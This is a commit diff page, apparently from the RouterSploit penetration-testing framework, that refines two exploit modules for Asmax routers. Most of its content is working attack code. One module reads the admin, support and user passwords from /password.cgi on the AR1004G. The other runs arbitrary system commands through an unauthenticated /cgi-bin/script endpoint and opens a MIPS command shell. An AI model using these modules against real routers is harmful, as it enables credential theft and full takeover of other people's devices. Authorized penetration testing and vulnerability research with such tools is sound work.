Commit cfbdf33c by Marcin Bury Committed by Mariusz Kupidura

Improving Asmax exploits (#265)

parent 1d2747e1
...@@ -2,6 +2,7 @@ from routersploit import ( ...@@ -2,6 +2,7 @@ from routersploit import (
exploits, exploits,
print_error, print_error,
print_success, print_success,
print_status,
print_table, print_table,
http_request, http_request,
mute, mute,
...@@ -13,11 +14,11 @@ from routersploit import ( ...@@ -13,11 +14,11 @@ from routersploit import (
class Exploit(exploits.Exploit): class Exploit(exploits.Exploit):
""" """
Exploit implementation for Asmax AR1004G Password Disclosure vulnerability. Exploit implementation for Asmax AR1004G Password Disclosure vulnerability.
If the target is vulnerable it allows to read credentials for admin, support and user." If the target is vulnerable it is possible to read credentials for admin, support and user accounts.
""" """
__info__ = { __info__ = {
'name': 'Asmax AR1004G Password Disclosure', 'name': 'Asmax AR1004G Password Disclosure',
'description': 'Exploits asmax password disclosure vulnerability that allows to ' 'description': 'Exploits Asmax AR1004G Password Disclosure vulnerability that allows to '
'fetch credentials for: Admin, Support and User accounts.', 'fetch credentials for: Admin, Support and User accounts.',
'authors': [ 'authors': [
'Marcin Bury <marcin.bury[at]reverse-shell.com>', # routersploit module 'Marcin Bury <marcin.bury[at]reverse-shell.com>', # routersploit module
...@@ -30,16 +31,17 @@ class Exploit(exploits.Exploit): ...@@ -30,16 +31,17 @@ class Exploit(exploits.Exploit):
], ],
} }
target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url) # target address target = exploits.Option('', 'Target URL address e.g. http://192.168.1.1', validators=validators.url) # target url address
port = exploits.Option(80, 'Target port') # default port port = exploits.Option(80, 'Target HTTP port', validators=validators.integer) # target http port
def run(self): def run(self):
creds = [] creds = []
url = "{}:{}/password.cgi".format(self.target, self.port) url = "{}:{}/password.cgi".format(self.target, self.port)
try: print_status("Requesting {}".format(url))
response = http_request(method="GET", url=url).text response = http_request(method="GET", url=url)
except AttributeError: if response is None:
print_error("Exploit failed - empty response")
return return
tokens = [ tokens = [
...@@ -48,14 +50,15 @@ class Exploit(exploits.Exploit): ...@@ -48,14 +50,15 @@ class Exploit(exploits.Exploit):
("user", r"pwdUser = '(.+?)'") ("user", r"pwdUser = '(.+?)'")
] ]
for token in tokenize(tokens, response): print_status("Trying to extract credentials")
for token in tokenize(tokens, response.text):
creds.append((token.typ, token.value[-1])) creds.append((token.typ, token.value[-1]))
if creds: if creds:
print_success("Credentials found!") print_success("Credentials found")
print_table(("Login", "Password"), *creds) print_table(("Login", "Password"), *creds)
else: else:
print_error("Credentials could not be found") print_error("Exploit failed - credentials could not be found")
@mute @mute
def check(self): def check(self):
......
...@@ -32,18 +32,21 @@ class Exploit(exploits.Exploit): ...@@ -32,18 +32,21 @@ class Exploit(exploits.Exploit):
], ],
} }
target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url) target = exploits.Option('', 'Target URL address e.g. http://192.168.1.1', validators=validators.url) # target url address
port = exploits.Option(80, 'Target Port') port = exploits.Option(80, 'Target HTTP port', validators=validators.integer) # target http port
def run(self): def run(self):
print_status("Checking if target is vulnerable")
if self.check(): if self.check():
print_success("Target is vulnerable") print_success("Target is vulnerable")
print_status("Invoking command loop...") print_status("Invoking command loop...")
shell(self, architecture="mips") shell(self, architecture="mips")
else: else:
print_error("Target is not vulnerable") print_error("Exploit failed - target seems to be not vulnerable")
def execute(self, cmd): def execute(self, cmd):
""" callback used by shell functionality """
url = "{}:{}/cgi-bin/script?system%20{}".format(self.target, self.port, cmd) url = "{}:{}/cgi-bin/script?system%20{}".format(self.target, self.port, cmd)
response = http_request(method="GET", url=url) response = http_request(method="GET", url=url)
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment